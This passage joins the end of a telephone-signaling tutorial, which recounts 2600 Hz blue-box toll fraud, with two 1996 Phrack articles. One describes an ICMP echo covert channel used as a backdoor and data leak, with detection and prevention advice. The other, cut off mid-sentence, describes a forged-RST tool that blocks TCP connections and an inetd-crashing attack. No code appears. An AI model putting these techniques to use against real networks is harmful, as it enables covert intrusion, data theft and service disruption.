  3901. shortage of raw material for fiber.
  3902.  
  3903.  
  3904. Disadvantages of Fiber Optics
  3905.  
  3906.  
  3907. Installation costs are high for a fiber optic system.  Currently it
  3908. costs approximately $41,000 per km to install a fiber optic system.  The
  3909. expense of laying fiber is primarily due to the high cost of splicing
  3910. and joining fiber.  The cost will almost certainly decrease dramatically
  3911. as less expensive methods of splicing and joining fiber are introduced.
  3912.  
  3913. A potential disadvantage of fiber optics results from its enormous
  3914. carrying capacity.  Occasionally a farmer or construction worker will
  3915. dig into the earth and unintentionally split a fiber optic cable.
  3916. Because the cable can carry so much information, an entire city could
  3917. lose its telephone communication from just one minor mishap.
  3918.  
  3919.  
  3920.     .-----------.
  3921. 8    | Signaling |
  3922.     `-----------'
  3923.  
  3924. Types of Signals
  3925.  
  3926. When a subscriber picks up the phone to place a call, he dials digits to
  3927. signal the network.  The dialed digits request a circuit and tell the
  3928. network where to route the call--a simple enough procedure for the
  3929. caller.  But in fact, it involves a highly sophisticated maze of
  3930. signaling to and from switches and phones to route and monitor the call.
  3931. Signaling functions can be divided into three main categories.
  3932.  
  3933.  
  3934. Supervisory
  3935.  
  3936.       Supervisory signals indicate to the party being called and the CO
  3937.       the status of lines and trunks--whether they are idle, busy, or
  3938.       requesting service.  The signals detect and initiate service on
  3939.       requesting lines and trunks.  Signals are activated by changes in
  3940.       electrical state and are caused by events such as a telephone
  3941.       going on-hook or off-hook. Their second function is to process
  3942.       requests for telephone features such as call waiting.
  3943.  
  3944.  
  3945. Addressing
  3946.  
  3947.       Addressing signals determine the destination of a call.  They
  3948.       transmit routing information throughout the network.  Two of the
  3949.       most important are
  3950.  
  3951.       Dial Pulse:     These address signals are generated by alternately
  3952.                       opening and closing a contact in a rotary phone
  3953.                       through which direct current flows.  The number of
  3954.                       pulses corresponds to the number of the dialed
  3955.                       digit.
  3956.  
  3957.       Tone:           These address signals send a unique tone or
  3958.                       combination of tones which correspond to the
  3959.                       dialed digit.
  3960.  
  3961.  
  3962. Alerting
  3963.  
  3964.       Alerting signals inform the subscriber of call processing
  3965.       conditions.. These signals include:
  3966.  
  3967.            Dial tone
  3968.            The phone ringing
  3969.            Flashing lights that substitute for phone ringing
  3970.            Busy signal
  3971.  
  3972. Let's take a look at how signaling is used to set up a typical call over
  3973. the public network.
  3974.  
  3975. Step 1 -   Caller A goes off-hook
  3976.  
  3977. Step 2 -   The CO detects a change in state in the subscriber's line.
  3978.            The CO responds by sending an alerting signal (dial tone) to
  3979.            caller A to announce that dialing may begin.  The CO marks
  3980.            the calling line busy so that other subscribers can not call
  3981.            into it.  If another subscriber attempts to phone caller A,
  3982.            he will get the alerting busy signal.  Caller A dials the
  3983.            digits using tones from the keypad or dial pulses from a
  3984.            rotary phone.
  3985.  
  3986. Step 3 -   The dialed digits are sent as addressing signals from caller
  3987.            A to CO A
  3988.  
  3989. Step 4 -   CO A routes the addressing signals to CO B.
  3990.  
  3991. Step 5 -   Supervisory signals in CO B test caller B to determine if the
  3992.            line is free.  The line is determined to be free.
  3993.  
  3994. Step 6 -   CO B sends alerting signals to caller B, which causes caller
  3995.            B's telephone to ring.
  3996.  
  3997.  
  3998. This is an example of a local call which was not billed to the customer.
  3999. If the call had been a billable, long distance call, it would have used
  4000. a supervisory signal known as answer supervision.  When the receiving
  4001. end of a long distance call picks up, it sends a signal to its local CO.
  4002. The CO then sends an answer supervision signal to the caller's CO
  4003. telling it that the phone was picked up and it is time to begin billing.
  4004.  
  4005.  
  4006. Where on the Circuit Does Signaling Occur?
  4007.  
  4008. There are only three places where signaling can occur: 
  4009.  
  4010.       In-band means on the same circuit as voice, within the voice
  4011.       frequency range (between 300 and 3400 Hz).
  4012.  
  4013.       Out-of-band means on the same circuit as voice, outside of the
  4014.       voice frequency range (3400 - 3700 Hz).
  4015.  
  4016.       Common Channel Signaling (CCS) means signaling occurs on a
  4017.       completely separate circuit.
  4018.  
  4019.  
  4020. The frequency range of human voice is approximately 0 - 4000 Hz.
  4021. However, most voice signals fall in the area between 300 and 3400 Hz.
  4022. Therefore, to save bandwidth, telephones only recognize signals between
  4023. 300 and 3400 Hz. It is conceivable that someone with an extremely high
  4024. voice would have difficulty communicating over the telephone.
  4025.  
  4026.  
  4027. In-band and Out-of-band
  4028.  
  4029.  
  4030. In-band signaling (300 to 3400 Hz) can take the form of either a single
  4031. frequency tone (SF signaling) of a combination of tones (Dual Tone
  4032. Multifrequency - DTMF).  DTMF is the familiar touch tone.
  4033.  
  4034. Out-of-band signaling (3400 to 3700 Hz)  is always single frequency
  4035. (SF).
  4036.  
  4037.  
  4038. In other words, using the frequency range from 300 to 3700 Hz, there are
  4039. three methods of signaling.
  4040.  
  4041.       Method A:       In-band (300 to 3400 Hz) by a single frequency
  4042.                       (SF)
  4043.  
  4044.       Method B:       In-band (300 to 3400 Hz) by multifrequencies
  4045.                       (DTMF)
  4046.  
  4047.       Method C:       Out-of-band (3400 to 3700 Hz) by a single
  4048.                       frequency (SF)
  4049.  
  4050.  
  4051. Single Frequency (SF) Signaling
  4052.  
  4053. Methods A and C are examples of Single Frequency (SF) signaling.  SF
  4054. signaling is used to determine if the phone line is busy (supervision)
  4055. and to convey dial pulses (addressing).
  4056.  
  4057. Method A:  In-band SF signaling uses a 2600 Hz tone which is carried
  4058.            over the frequency bandwidth of voice (remember the frequency
  4059.            bandwidth of voice is between 300 and 3300 Hz), within the
  4060.            speech path.  So as not to interfere with speech, it is
  4061.            present before the call but is removed once the circuit is
  4062.            seized and speech begins.  After the conversation is over, it
  4063.            may resume signaling.  It does not, however, signal during
  4064.            the call because it would interfere with voice which also may
  4065.            transmit at 2600 Hz.  Special equipment prevents occasional
  4066.            2600 Hz speech frequencies from accidentally setting off
  4067.            signals.
  4068.  
  4069. Method C:  To improve signaling performance, SF out-of-band signaling
  4070.            was developed.  It uses frequencies above the voice frequency
  4071.            range (within the 3400 to 3700 Hz bandwidth) to transmit
  4072.            signals.
  4073.  
  4074.  
  4075. The problem with Methods A and C is that they are easily susceptible to
  4076. fraud. In the late 1960s, one of the most popular breakfast cereals in
  4077. America had a promotion in which they packaged millions of children's
  4078. whistles, one in each specially marked box.  Never did General Mills,
  4079. the producer of the cereal, anticipate the fraud they would be party to.
  4080. It turned out that the whistles emitted a pure 2600 Hz tone, exactly the
  4081. tone used in Method A.  It did not take long for hackers to discover
  4082. that if they blew the whistles into the phones while making a long
  4083. distance phone call, it tricked the telephone company billing equipment
  4084. and no charge was made.
  4085.  
  4086. This trick grew into its own little cottage industry, culminating in the
  4087. infamous mass produced Blue Boxes which played tones that fooled
  4088. telephone billing equipment out of millions of dollars.
  4089.  
  4090.  
  4091. Method B:  DTMF was introduced to overcome this fraud, as well as to
  4092.            provide better signaling service to the customer.  Instead of
  4093.            producing just one signaling frequency, DTMF transmits
  4094.            numerical address information from a phone by sending a
  4095.            combination of two frequencies, one high and one low, to
  4096.            represent each number/letter and * and # on the dial pad.
  4097.            The usable tones are located in the center of the voice
  4098.            communication frequencies to minimize the effects of
  4099.            distortion.
  4100.  
  4101. Drawbacks to SF and DTMF Signaling
  4102.  
  4103. There are drawbacks to both SF and DTMF signaling that are promoting
  4104. their replacement in long distance toll circuits.  The most important is
  4105. that these signals consume time on the circuit while producing no
  4106. revenues.  Every electrical impulse, be it a voice conversation or
  4107. signaling information, consumes circuit time.  Voice conversations are
  4108. billable.  Signaling is not. Therefore, it is in the best interest of
  4109. the phone carriers to minimize signaling.
  4110.  
  4111. Unfortunately, almost half of all toll calls are not completed because
  4112. the called party is busy, not available or because of CO blockage.
  4113. Nevertheless, signals must be generated to attempt to set up, then take
  4114. down the call. Signals are generated but no revenue is produced.  For
  4115. incompleted calls, these signals compete with revenue producing signals
  4116. (whose calls were completed) for scarce circuit resources.
  4117.  
  4118.  
  4119. CCS introduced several benefits to the public network:
  4120.  
  4121.       .    Signaling information was removed from the voice channel, so
  4122.            control information could travel at the same time as voice
  4123.            without taking up valuable bandwidth from the voice channel.
  4124.  
  4125.       .    CCS sets up calls faster, reducing signaling time and freeing
  4126.            up scarce resources.
  4127.  
  4128.       .    It cost less than conventional signaling.
  4129.  
  4130.       .    It improves network performance.
  4131.  
  4132.       .    It reduces fraud.
  4133.  
  4134.  
  4135. Signaling System 7  (SS7)
  4136.  
  4137. Today the major long distance carriers use a version of CCS called
  4138. Signaling System 7  (SS7).  It is a standard protocol developed by the
  4139. CCITT, a body which establishes international standards.
  4140.  
  4141.  
  4142. Common Channel Signaling (CCS)
  4143.  
  4144. Common Channel Signaling (CCS) is a radical departure from traditional
  4145. signaling methods.  It transmits signals over a completely different
  4146. circuit than the voice information.  The signals from hundreds or
  4147. thousands of voice conversations are carried over a single common
  4148. channel.
  4149.  
  4150. Introduced in the mid-1970s CCS uses a separate signaling network to
  4151. transmit call setup, billing, and supervisory information.  Instead of
  4152. sending signals over the same communication paths as voice or data, CCS
  4153. employs a full network dedicated to signaling alone.
  4154.  
  4155. Loop Start Versus Ground Start Signaling
  4156.  
  4157. Establishing an electrical current connection with a CO can be done in
  4158. several different ways.  Here are a few of the possibilities
  4159.  
  4160.  
  4161. Loop Start
  4162.  
  4163. Inside of the CO, there is a powerful, central battery that provides
  4164. current to all subscribers.  Loop start is a method of establishing the
  4165. flow of current from the CO to a subscriber's phone.
  4166.  
  4167.  
  4168. The two main components of a loop start configuration are
  4169.  
  4170.       The tip (also called the A line) is the portion of the line loop
  4171.       between the CO and the subscriber's phone that is connected to the
  4172.       positive, grounded side of the battery.
  4173.  
  4174.       The ring (also called the B line) is the portion of the line loop
  4175.       between the CO and the subscriber's phone that is connected to the
  4176.       negative, ungrounded side of the battery.
  4177.  
  4178.  
  4179. To establish a loop start connection with the CO, a subscriber goes
  4180. off-hook. This closes a direct current (DC) path between the tip and
  4181. ring and allows the current to flow in a loop from the CO battery to the
  4182. subscriber and back to the battery.  Once the current is flowing, the CO
  4183. is capable of sending alerting signals (dial tone) to the subscriber to
  4184. begin a connection.
  4185.  
  4186. The problem with loop start signaling is a phenomenon called glare that
  4187. occurs in trunks between a CO and a PBX.  When a call comes into a PBX
  4188. from CO trunk, the only way the PBX knows that the trunk circuit is busy
  4189. is the ringing signal sent from the CO.
  4190.  
  4191. Unfortunately the ringing signal is transmitted at six second intervals.
  4192. For up to six seconds at a time, the PBX does not know there is a call
  4193. on that circuit.  If an internal PBX caller wishes to make an outgoing
  4194. call, the PBX may seize the busy trunk call at the same time.  The
  4195. result is confused users on either end of the line, and the abandonment
  4196. of both calls.
  4197.  
  4198. Ground Start 
  4199.  
  4200. Ground start signaling overcomes glare by immediately engaging a circuit
  4201. seize signal on the busy trunk.  The signal alerts the PBX that the
  4202. circuit is occupied with an incoming call and cannot be used for an
  4203. outgoing call.
  4204.  
  4205. Ground start is achieved by the CO by grounding the tip side of the line
  4206. immediately upon seizure by an incoming call.  The PBX detects the
  4207. grounded tip and is alerted not to seize this circuit for an outgoing
  4208. call, even before ringing begins.
  4209.  
  4210. Because ground start is so effective at overcoming glare, it is commonly
  4211. used in trunks between the CO and a PBX.
  4212.  
  4213.  
  4214. E & M
  4215.  
  4216. E & M signaling is used in tie lines which connect two private telephone
  4217. switches.  In E & M signaling, information is transmitted from one
  4218. switch to another over two pairs of wires.  Voice information is sent
  4219. over the first pair, just as it would be in a Loop Start or Ground Start
  4220. trunk.  However, instead of sending the signaling information over the
  4221. same pair of wires, it is sent over the second pair of wires.
  4222.  
  4223.  
  4224.  
  4225.  
  4226.  
  4227.                              .oO Phrack Magazine Oo.
  4228.  
  4229.                           Volume Seven, Issue Forty-Nine
  4230.                                      
  4231.                                   File 06 of 16
  4232.  
  4233.                     [ Project Loki ]
  4234.  
  4235.                 whitepaper by daemon9 AKA route
  4236.                sourcecode by daemon9 && alhambra
  4237.                  for Phrack Magazine
  4238.               August 1996 Guild Productions, kid
  4239.  
  4240.        comments to route@infonexus.com/alhambra@infonexus.com
  4241.  
  4242.  
  4243.         --[ Introduction ]--
  4244.  
  4245.  
  4246.     Ping traffic is ubiquitous to almost every TCP/IP based network and 
  4247. subnetwork.  It has a standard packet format recognized by every IP-speaking
  4248. router and is used universally for network management, testing, and 
  4249. measurement.  As such, many firewalls and networks consider ping traffic 
  4250. to be benign and will allow it to pass through, unmolested.  This project 
  4251. explores why that practice can be insecure.  Ignoring the obvious threat of 
  4252. the done-to-death denial of service attack, use of ping traffic can open up 
  4253. covert channels through the networks in which it is allowed.
  4254.  
  4255.     Loki, Norse God of deceit and trickery, the 'Lord of Misrule' was 
  4256. well known for his subversive behavior.  Inversion and reversal of all sorts 
  4257. was typical for him.  Due to it's clandestine nature, we chose to name this 
  4258. project after him.
  4259.  
  4260.     The Loki Project consists of a whitepaper covering this covert channel
  4261. in detail.  The sourcecode is not for distribution at this time.
  4262.  
  4263.  
  4264.         --[ Overview  ]--
  4265.  
  4266.  
  4267.     This whitepaper is intended as a complete description of the covert
  4268. channel that exists in networks that allow ping traffic (hereon referred to 
  4269. in the more general sense of ICMP_ECHO traffic --see below) to pass.  It is 
  4270. organized into sections:
  4271.  
  4272.     Section I.    ICMP Background Info and the Ping Program
  4273.     Section II.    Basic Firewall Theory and Covert Channels
  4274.     Section III.    The Loki Premise
  4275.     Section IV.    Discussion, Detection, and Prevention
  4276.     Section V.    References
  4277.  
  4278. (Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
  4279. read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
  4280.  
  4281.  
  4282.         Section I.    ICMP Background Info and the Ping Program
  4283.  
  4284.  
  4285.     The Internet Control Message Protocol is an adjunct to the IP layer.
  4286. It is a connectionless protocol used to convey error messages and other 
  4287. information to unicast addresses.  ICMP packets are encapsulated inside of IP
  4288. datagrams.  The first 4-bytes of the header are same for every ICMP message, 
  4289. with the remainder of the header differing for different ICMP message types.
  4290. There are 15 different types of ICMP messages.  
  4291.  
  4292.     The ICMP types we are concerned with are type 0x0 and type 0x8.  
  4293. ICMP type 0x0 specifies an ICMP_ECHOREPLY (the response) and type 
  4294. 0x8 indicates an ICMP_ECHO (the query).  The normal course of action is 
  4295. for a type 0x8 to elicit a type 0x0 response from a listening server.  
  4296. (Normally, this server is actually the OS kernel of the target host.  Most 
  4297. ICMP traffic is, by default, handled by the kernel).  This is what the ping 
  4298. program does.  
  4299.  
  4300.     Ping sends one or more ICMP_ECHO packets to a host.  The purpose
  4301. may just be to determine if a host is in fact alive (reachable).  ICMP_ECHO 
  4302. packets also have the option to include a data section.  This data section 
  4303. is used when the record route option is specified, or, the more common case, 
  4304. (usually the default) to store timing information to determine round-trip 
  4305. times.  (See the ping(8) man page for more information on these topics).  
  4306. An excerpt from the ping man page:
  4307.  
  4308.  "...An IP header without options is 20 bytes.  An ICMP ECHO_REQUEST packet
  4309.      contains an additional 8 bytes worth of ICMP header followed by an 
  4310.      arbitrary-amount of data.  When a packetsize is given, this indicated the
  4311.      size of this extra piece of data (the default is 56).  Thus the amount of
  4312.      data received inside of an IP packet of type ICMP ECHO_REPLY will always
  4313.      be 8 bytes more than the requested data space (the ICMP header)..."
  4314.  
  4315.     Although the payload is often timing information, there is no check by
  4316. any device as to the content of the data.  So, as it turns out, this amount of 
  4317. data can also be arbitrary in content as well.  Therein lies the covert 
  4318. channel.
  4319.  
  4320.  
  4321.         Section II.    Basic Firewall Theory and Covert Channels
  4322.  
  4323.  
  4324.     The basic tenet of firewall theory is simple:  To shield one network
  4325. from another.  This can be clarified further into 3 provisional rules:
  4326. 1. All traffic passing between the two networks must pass through the firewall.
  4327. 2. Only traffic authorized by the firewall may pass through (as dictated by 
  4328. the security policy of the site it protects).
  4329. 3. The firewall itself is immune to compromise.    
  4330.  
  4331.     A covert channel is a vessel in which information can pass, but this
  4332. vessel is not ordinarily used for information exchange.  Therefore, as a 
  4333. matter of consequence, covert channels are impossible to detect and deter 
  4334. using a system's normal (read: unmodified) security policy.  In theory, 
  4335. almost any process or bit of data can be a covert channel.  In practice, it 
  4336. is usually quite difficult to elicit meaningful data from most covert 
  4337. channels in a timely fashion.  In the case of Loki, however, it is quite 
  4338. simple to exploit.
  4339.  
  4340.     A firewall, in it's most basic sense, seeks to preserve the security 
  4341. policy of the site it protects.  It does so by enforcing the 3 rules above.
  4342. Covert channels, however, by very definition, are not subject to a site's 
  4343. normal security policy.
  4344.  
  4345.  
  4346.         Section III.    The Loki Premise
  4347.  
  4348.  
  4349.     The concept of the Loki Project is simple: arbitrary information 
  4350. tunneling in the data portion of ICMP_ECHO and ICMP_ECHOREPLY packets.  Loki 
  4351. exploits the covert channel that exists inside of ICMP_ECHO traffic.  This 
  4352. channel exists because network devices do not filter the contents of ICMP_ECHO
  4353. traffic.  They simply pass them, drop them, or return them. The trojan packets
  4354. themselves are masqueraded as common ICMP_ECHO traffic.  We can encapsulate 
  4355. (tunnel) any information we want.  From here on out, Loki traffic will refer 
  4356. to ICMP_ECHO traffic that tunnels information.  (Astute readers will note that
  4357. Loki is simply a form of steganography).
  4358.  
  4359.     Loki is not a compromise tool.  It has many uses, none of which are 
  4360. breaking into a machine.  It can be used as a backdoor into a system by 
  4361. providing a covert method of getting commands executed on a target machine.
  4362. It can be used as a way of clandestinely leeching information off of a 
  4363. machine.  It can be used as a covert method of user-machine or user-user 
  4364. communication.  In essence the channel is simply a way to secretly shuffle
  4365. data (confidentiality and authenticity can be added by way of cryptography). 
  4366.  
  4367.     Loki is touted as a firewall subversion technique, but in reality it
  4368. is simple a vessel to covertly move data.  *Through* exactly what we move this
  4369. data is not so much an issue, as long as it passes ICMP_ECHO traffic.  It does
  4370. not matter: routers, firewalls, packet-filters, dual-homed hosts, etc...  all
  4371. can serve as conduits for Loki.
  4372.  
  4373.  
  4374.         Section IV.    Discussion, Detection and Prevention
  4375.  
  4376.  
  4377.     If ICMP_ECHO traffic is allowed, then this channel exists.  If this 
  4378. channel exists, then it is unbeatable for a backdoor (once the system is 
  4379. compromised).  Even with extensive firewalling and packet-filtering 
  4380. mechanisms in place, this channel continues to exist (provided, of course,
  4381. they do not deny the passing of ICMP_ECHO traffic).  With a proper 
  4382. implementation, the channel can go completely undetected for the duration of
  4383. its existence.  
  4384.  
  4385.     Detection can be difficult.  If you know what to look for, you may
  4386. find that the channel is being used on your system.  However, knowing when
  4387. to look, where to look, and the mere fact that you *should* be looking all
  4388. have to be in place.  A surplus of ICMP_ECHOREPLY packets with a garbled
  4389. payload can be ready indication the channel is in use.  The standalone Loki 
  4390. server program can also be a dead give-away.  However, if the attacker can 
  4391. keep traffic on the channel down to a minimum, and was to hide the Loki 
  4392. server *inside* the kernel, detection suddenly becomes much more difficult.
  4393.  
  4394.     Disruption of this channel is simply preventative.  Disallow ICMP_ECHO
  4395. traffic entirely.  ICMP_ECHO traffic, when weighed against the security 
  4396. liabilities it imposes, is simply not *that* necessary.  Restricting ICMP_ECHO
  4397. traffic to be accepted from trusted hosts only is ludicrous with a 
  4398. connectionless protocol such as ICMP.  Forged traffic can still reach the 
  4399. target host.  The LOKI packet with a forged source IP address will arrive at 
  4400. the target (and will elicit a legitimate ICMP_ECHOREPLY, which will 
  4401. travel to the spoofed host, and will be subsequently dropped silently) and 
  4402. can contain the 4-byte IP address of the desired target of the Loki response 
  4403. packets, as well as 51-bytes of malevolent data...  While the possibility 
  4404. exists for a smart packet filter to check the payload field and ensure that 
  4405. it *only* contains legal information, such a filter for ICMP is not in wide 
  4406. usage, and could still be open to fooling.  The only sure way to destroy this
  4407. channel is to deny ALL ICMP_ECHO traffic into your network.
  4408.  
  4409. NOTE: This channel exists in many other protocols.  Loki Simply covers 
  4410. ICMP, but in theory (and practice) any protocol is vulnerable to covert 
  4411. data tunneling.  All that is required is the ingenuity...
  4412.  
  4413.         Section V.    References
  4414.  
  4415.  
  4416.         Books:    TCP Illustrated vols. I, II, III
  4417.         RFCs:    rfc 792
  4418.         Source:    Loki v1.0
  4419.         Ppl:    We did not pioneer this concept  To our knowledge, 
  4420.         it was discovered independently of our efforts, prior to our
  4421.         research.  This party wishes to remain aloof.
  4422.  
  4423.  
  4424. This project made possible by a grant from the Guild Corporation.
  4425.  
  4426.  
  4427. EOF
  4428.                              .oO Phrack Magazine Oo.
  4429.  
  4430.                           Volume Seven, Issue Forty-Nine
  4431.  
  4432.                                   File 07 of 16
  4433.  
  4434.                     [ Project Hades ]
  4435.  
  4436.                    Paper by daemon9 AKA route
  4437.                       sourcecode by daemon9
  4438.                    for Phrack Magazine
  4439.               October 1996 Guild Productions, kid
  4440.  
  4441.                comments to route@infonexus.com
  4442.  
  4443.  
  4444.         --[ Introduction ]--
  4445.  
  4446.  
  4447.     More explorations of weaknesses in the most widely used transport
  4448. protocol on the Internet.  Put your mind at rest fearful reader!  The 
  4449. vulnerabilities outlined here are nowhere near the devastating nature of 
  4450. Project Neptune/Poseidon.  
  4451.  
  4452.     Hades is the Greek god of the underworld; his kingdom is that of the 
  4453. the Dead.  Hades renown for being quite evil and twisted.  He is also well
  4454. known for his TCP exploit code.  Therefore, it seemed fitting to name this
  4455. project after him.
  4456.  
  4457.     BTW, for this code to work (as with much of my previous code) your 
  4458. kernel must be patched to be able to spoof packets.  DO NOT MAIL ME to ask how 
  4459. to do it.
  4460.  
  4461.  
  4462.         --[ Overview  ]--
  4463.  
  4464.  
  4465.     Section I.    Ethernet background information    
  4466.     Section II.    TCP background information
  4467.     Section III.    Avarice
  4468.     Section IV.    Vengeance
  4469.     Section V.    Sloth
  4470.     Section    VI.    Discussion, Detection, and Prevention
  4471.  
  4472. (Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
  4473. read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
  4474.  
  4475.  
  4476.         Section I.    Ethernet Background information
  4477.  
  4478.  
  4479.     Ethernet is a multi-drop, connectionless, unreliable link layer 
  4480. protocol.  It (IEEE 802.3 Ethernet is the version I refer to) is the 
  4481. link-layer protocol most LANs are based upon.  It is multidrop; each
  4482. device on the ethernet shares the media (and, consequently, the bandwidth)
  4483. with every other device.  It is connectionless; every frame is sent 
  4484. independently of the previous one and next one.  It is unreliable; frames are 
  4485. not acknowledged by the other end.  If a frame is received that doesn't pass 
  4486. the checksum, it is silently discarded.  It is a link-layer protocol that sits
  4487. underneath the network protocol (IP) and above the physical interface (varies,
  4488. but often CAT3/5 UTP).
  4489.  
  4490.  
  4491.                 --[ Signaling and Encoding ]--
  4492.         
  4493.  
  4494.     Standard 802.3 Ethernet signals at 10 mega-bits per second using 
  4495. Manchester encoding to order bits on the wire.  Manchester is a biphase 
  4496. state-transition technique; to indicate a particular bit is on, a voltage 
  4497. transition from low to high is used.  To indicate a bit is off, a high to low
  4498. transition is used.  
  4499.  
  4500.  
  4501.                 --[ Media Access ]--
  4502.  
  4503.  
  4504.     Ethernet uses media contention to gain access to the shared wire.  The
  4505. version of contention it uses is CSMA/CD (carrier sense multiple access / 
  4506. collision detection).  This simply means that ethernet supports multiple 
  4507. devices on a shared network medium.  Any device can send it's data whenever
  4508. it thinks the wire is clear.  Collisions are detected (causing back-off and
  4509. retry) but not avoided.  CSMA/CD algorithmically:
  4510.  
  4511. 1. IF:      the medium is idle -> transmit.
  4512. 2. ELSE: the medium is busy -> wait and listen until idle -> transmit.
  4513. 3. IF:     collision is detected -> transmit jamming signal, cease all 
  4514.      transmission
  4515. 4. IF:     jamming signal is detected -> wait a random amount of time, goto 1
  4516.     
  4517.  
  4518.         --[ Broadcast Medium ]--
  4519.  
  4520.  
  4521.     Since it is CSMA/CD technology, ethernet has the wonderful property
  4522. that it hears everything on the network.  Under normal circumstances, an
  4523. ethernet NIC will only capture and pass to the network layer packets that 
  4524. boast it's own MAC (link-layer) address or a broadcast MAC address.  However, 
  4525. it is trivial to place an Ethernet card into promiscuous mode where it will
  4526. capture everything it hears, regardless to whom the frame was addressed.
  4527.  
  4528.     It bears mentioning that bridges are used to divide an ethernet into
  4529. logically separate segments.  A bridge (or bridging device such as a smart 
  4530. hub) will not pass an ethernet frame from segment to segment unless the 
  4531. addressed host lies on the disparate segment.  This can reduce over-all 
  4532. network load by reducing the amount of traffic on the wire.
  4533.  
  4534.  
  4535.                 Section II.      TCP Background Information
  4536.  
  4537.  
  4538.         TCP is a connection-oriented, reliable transport protocol.  TCP is
  4539. responsible for hiding network intricacies from the upper layers.  A 
  4540. connection-oriented protocol implies that the two hosts participating in a 
  4541. discussion must first establish a connection before data may be exchanged.  In
  4542. TCP's case, this is done with the three-way handshake.  Reliability can be 
  4543. provided in a number of ways, but the only two we are concerned with are data 
  4544. sequencing and acknowledgment.  TCP assigns sequence numbers to every byte in
  4545. every segment and acknowledges all data bytes received from the other end.  
  4546. (ACK's consume a sequence number, but are not themselves ACK'd.  That would be
  4547. ludicrous.)  
  4548.  
  4549.  
  4550.                 --[ TCP Connection Establishment ]--
  4551.  
  4552.  
  4553.         In order to exchange data using TCP, hosts must establish a connection.
  4554. TCP establishes a connection in a 3 step process called the 3-way handshake.
  4555. If machine A is running a client program and wishes to connect to a server
  4556. program on machine B, the process is as follows:
  4557.  
  4558.                         fig(1)
  4559.        
  4560.         1       A       ---SYN--->      B       
  4561.  
  4562.         2       A    <---SYN/ACK---     B
  4563.  
  4564.         3       A       ---ACK--->      B
  4565.  
  4566.                                 
  4567.         At (1) the client is telling the server that it wants a connection.
  4568. This is the SYN flag's only purpose.  The client is telling the server that 
  4569. the sequence number field is valid, and should be checked.  The client will 
  4570. set the sequence number field in the TCP header to it's ISN (initial sequence
  4571. number).  The server, upon receiving this segment (2) will respond with it's 
  4572. own ISN (therefore the SYN flag is on) and an Acknowledgment of the clients 
  4573. first segment (which is the client's ISN+1).  The client then ACK's the 
  4574. server's ISN (3).  Now data transfer may take place.
  4575.  
  4576.  
  4577.               --[ TCP Control Flags  ]--
  4578.  
  4579.  
  4580.         There are six TCP control flags. 
  4581.  
  4582. SYN:   Synchronize Sequence Numbers
  4583.         The synchronize sequence numbers field is valid.  This flag is only 
  4584. valid during the 3-way handshake.  It tells the receiving TCP to check the 
  4585. sequence number field, and note it's value as the connection-initiator's 
  4586. (usually the client) initial sequence number.  TCP sequence numbers can 
  4587. simply be thought of as 32-bit counters.  They range from 0 to 4,294,967,295.
  4588. Every byte of data exchanged across a TCP connection (along with certain 
  4589. flags) is sequenced.  The sequence number field in the TCP header will contain
  4590. the sequence number of the *first* byte of data in the TCP segment.  
  4591.  
  4592. ACK:   Acknowledgment
  4593.         The acknowledgment number field is valid.  This flag is almost always
  4594. set.   The acknowledgment number field in the TCP header holds the value of 
  4595. the next *expected* sequence number (from the other side), and also 
  4596. acknowledges *all* data (from the other side) up through this ACK number minus
  4597. one.
  4598.  
  4599. RST:   Reset
  4600.         Destroy the referenced connection.  All memory structures are torn 
  4601. down.
  4602.  
  4603. URG:    Urgent 
  4604.         The urgent pointer is valid.  This is TCP's way of implementing out
  4605. of band (OOB) data.  For instance, in a telnet connection a `ctrl-c` on the 
  4606. client side is considered urgent and will cause this flag to be set. 
  4607.  
  4608. PSH:    Push
  4609.         The receiving TCP should not queue this data, but rather pass it to 
  4610. the application as soon as possible.  This flag should always be set in 
  4611. interactive connections, such as telnet and rlogin.
  4612.  
  4613. FIN:    Finish 
  4614.         The sending TCP is finished transmitting data, but is still open to 
  4615. accepting data.
  4616.  
  4617.  
  4618.                 --[ Ports ]--
  4619.  
  4620.        
  4621.         To grant simultaneous access to the TCP module, TCP provides a user 
  4622. interface called a port.  Ports are used by the kernel to identify network 
  4623. processes.  They are strictly transport layer entities.  Together with an 
  4624. IP address, a TCP port provides an endpoint for network communications.  In 
  4625. fact, at any given moment *all* Internet connections can be described by 4 
  4626. numbers: the source IP address and source port and the destination IP 
  4627. address and destination port.  Servers are bound to 'well-known' ports so 
  4628. that they may be located on a standard port on different systems.  
  4629. For example, the telnet daemon sits on TCP port 23.
  4630.         
  4631.  
  4632.         Section III.    Avarice
  4633.     
  4634.  
  4635.     Avarice is a SYN,RST generator.  It is designed to disallow any
  4636. TCP traffic on the ethernet segment upon which it listens.  It works by
  4637. listening for the 3-way handshake procedure to begin, and then immediately 
  4638. resetting it.  The result is that no TCP based connections can be negotiated, 
  4639. and therefore no TCP traffic can flow.  This version sits on a host, puts the 
  4640. NIC into promiscuous mode and listens for connection-establishment requests.
  4641. When it hears one, it immediately generates a forged RST packet and sends it 
  4642. back to the client.  If the forged RST arrives in time, the client will quit 
  4643. with a message like:
  4644.  
  4645.     telnet: Unable to connect to remote host: Connection refused
  4646.  
  4647. For the client to accept the RST, it must think it is an actual response from
  4648. the server.  This requires 3 pieces of information: IP address, TCP port, and 
  4649. TCP acknowledgment number.  All of this information is gleaned from the 
  4650. original SYN packet:  the IP address of the destination host, the TCP port 
  4651. of the listening process, and the clients ISN (the acknowledgment number in 
  4652. the RST packet is the clients ISN+1, as SYN's consume a sequence number).
  4653.  
  4654.     This program has a wide range of effectiveness.  Speed is essential
  4655. for avarice to quell all TCP traffic on a segment.  We are basically racing 
  4656. the kernel.  OS kernels tend to be rather efficient at building packets.  If 
  4657. run on a fast machine, with a fast kernel, it's kill rate is rather high.  
  4658. I have seen kill-rates as high as 98% (occasionally a few slip through) on 
  4659. a fast machine.  Consequently, if run on a slow machine, with a slow kernel, it
  4660. will likely be useless.  If the RSTs arrive too late, they will be dropped by 
  4661. the client, as the ACK number will be too low for the referenced connection.  
  4662. Sure, the program could send, say, 10 packets, each with progressively higher 
  4663. ACK numbers, but hey, this is a lame program...
  4664.  
  4665.  
  4666.         Section IV.    Vengeance
  4667.  
  4668.  
  4669.     Vengeance is an inetd killer.  On affected systems this program will
  4670. cause inetd to become unstable and die after the next connection attempt.
  4671. It sends a connection-request immediately followed by a RST to an internal 
